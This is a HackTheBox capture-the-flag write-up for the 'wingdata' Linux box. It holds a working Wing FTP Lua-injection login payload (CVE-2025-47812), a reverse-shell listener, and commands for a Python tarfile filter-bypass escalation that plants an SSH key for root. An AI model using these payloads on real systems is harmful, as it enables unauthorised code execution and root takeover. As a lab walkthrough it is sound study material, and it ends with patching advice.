← back to write ups

write up

wingdata

hackthebox easy linux view on htb ↗

overview

wingdata is a hard linux box that chains two distinct cves. initial access is achieved through an unauthenticated rce in wing ftp server via lua injection (cve-2025-47812). privilege escalation exploits cve-2025-4138 / cve-2025-4517, a critical python tarfile filter bypass via path_max overflow, against a sudo-privileged backup restore script, writing an ssh key to /root/.ssh/authorized_keys and obtaining a root shell.

enumeration

nmap scan

nmap -sV -sC -T4 --min-rate 3000 -p- -oN wingdata_scan.txt wingdata.htb

two ports open:

further subdomain enumeration revealed ftp.wingdata.htb, a wing ftp server web administration interface.

initial access, cve-2025-47812 (wing ftp rce)

cve-2025-47812 is an unauthenticated remote code execution vulnerability in wing ftp server versions ≤ 7.4.3. a null byte in the username parameter of the login form allows injecting arbitrary lua code that is executed server-side. command output is returned in the response body before the xml:

# Null byte terminates the username string and opens a Lua injection context
POST /login.html
username=anonymous%00]]%0d
local+h+%3d+io.popen(%22id%22)%0d
local+r+%3d+h%3aread(%22*a%22)%0d
h%3aclose()%0d
print(r)%0d
--&password=

a reverse shell was delivered through the same channel, landing a shell as wacky:

nc -lvnp 4444

user flag retrieved from /home/wacky/user.txt.

post-exploitation enumeration

checking sudo permissions for wacky:

sudo -l
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

the script uses python's tarfile.extractall() with filter="data", a supposedly safe extraction mode, to restore client tar archives from /opt/backup_clients/backups/. since wacky has write access to the backups directory and can supply any filename via the * wildcard, the extraction target is fully attacker-controlled.

privilege escalation, cve-2025-4138 / cve-2025-4517

these cves describe a critical flaw in python's tarfile filter implementation: os.path.realpath() silently stops resolving symlinks once the expanded path exceeds PATH_MAX (4096 bytes on linux). the filter uses realpath() to validate that extracted paths stay within the destination directory, but the kernel resolves symlinks independently, creating a toctou gap that allows directory escape.

the exploit builds a chain of 16 symlink/directory pairs with 247-character directory names, inflating the resolved path to ~3968 bytes. a final symlink then appends ../ traversal sequences that realpath() cannot resolve (path_max exceeded), but the kernel follows normally, escaping to an arbitrary filesystem path:

# Generate the malicious tar
python3 exploit.py \
  --preset ssh-key \
  --payload ~/.ssh/id_ed25519.pub \
  --tar-out backup_1001.tar

# Place it in the backups directory
cp backup_1001.tar /opt/backup_clients/backups/

# Trigger privileged extraction as root
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
  -b backup_1001.tar \
  -r restore_pwn

the extraction writes the ssh public key to /root/.ssh/authorized_keys through the escaped symlink, creating the directory if it doesn't exist.

root access

ssh -i ~/.ssh/id_ed25519 root@wingdata.htb

root shell obtained. root flag retrieved.

key takeaways

cve-2025-4138 is a sobering reminder that "safe" extraction filters can be bypassed through subtle os-level behaviour. any python application on versions 3.12.0–3.12.10 or 3.13.0–3.13.3 that calls tarfile.extractall(filter="data") on attacker-controlled archives is exploitable. the fix is to upgrade to python 3.12.11 / 3.13.4 or later.